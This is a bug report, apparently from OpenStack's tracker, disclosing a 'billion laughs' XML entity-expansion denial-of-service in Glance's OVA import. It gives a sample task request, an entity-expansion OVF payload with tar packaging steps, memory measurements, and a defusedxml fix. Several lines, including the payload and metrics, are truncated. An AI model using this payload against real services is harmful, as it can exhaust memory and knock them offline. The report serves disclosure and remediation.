Authenticated "Billion laughs" memory exhaustion / DoS vulnerability in ovf_process.py
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
Glance |
Fix Released
|
Low
|
Unassigned | ||
OpenStack Security Advisory |
Opinion
|
Undecided
|
Unassigned |
Bug Description
Creating a task to import an OVA file with a malicious OVF file inside it will result in significant memory usage by the glance-api process.
This is caused by the use of the xml.etree module in ovf_process.py [1] [2] to process OVF images extracted from OVA files with ET.iterparse(). No validation is currently performed on the XML prior to parsing.
As outlined in the Python documentation, xml.etree is vulnerable to the "billion laughs" vulnerability when parsing untrusted input [3]
Note: if using a devstack instance, you will need to edit the "work_dir" variable in /etc/glance/
-------
Example request
-------
POST /v2/tasks HTTP/1.1
Host: localhost:1338
Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json
User-Agent: python-
Content-Type: application/json
X-Auth-Token: [ADMIN TOKEN]
Content-Length: 287
{
"type": "import",
"input": {
"name": "laugh"
}
}
}
-------
Creating the malicious OVA/OVF
-------
"laugh.ova" can be created like so:
1. Copy this into a file called "laugh.ovf":
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&
<!ENTITY lol2 "&lol1;
<!ENTITY lol3 "&lol2;
<!ENTITY lol4 "&lol3;
<!ENTITY lol5 "&lol4;
<!ENTITY lol6 "&lol5;
<!ENTITY lol7 "&lol6;
<!ENTITY lol8 "&lol7;
<!ENTITY lol9 "&lol8;
<!ENTITY lol10 "&lol9;
]>
<lolz>&
2. Create the OVA file (tarball) with the "tar" utility:
$ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova
3. (Optional) If you want to serve this from your devstack instance (as in the request above), run this in the folder where you created the OVA file:
$ python -m SimpleHTTPServer 9090
-------
Performance impact
-------
Profiling my VM from a fresh boot:
$ vboxmanage metrics query [VM NAME] Guest/RAM/
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
After submitting this task twice (repeating calls to the above command):
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
Object Metric Values
---------- -------
devstack_
devstack_
devstack_
After submitting enough of these requests at once, glance-api runs out of memory and can't restart itself. Here's what the log looks like after the "killer request" [4]
-------
Mitigation
-------
Any instances of xml.etree should be replaced with their equivalent in a secure XML parsing library like defusedxml [5]
1: https:/
2: https:/
3: https:/
4: https:/
5: https:/
-------
Other
-------
Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https:/
description: | updated |
description: | updated |
description: | updated |
Changed in glance: | |
status: | New → Opinion |
importance: | Undecided → Low |
description: | updated |
Changed in glance: | |
milestone: | none → queens-rc1 |
status: | Opinion → In Progress |
assignee: | nobody → Vladislav Kuzmin (vkuzmin-u) |
Since this report concerns a possible security risk, an incomplete security advisory task has been added while the core security reviewers for the affected project or projects confirm the bug and discuss the scope of any vulnerability along with potential solutions.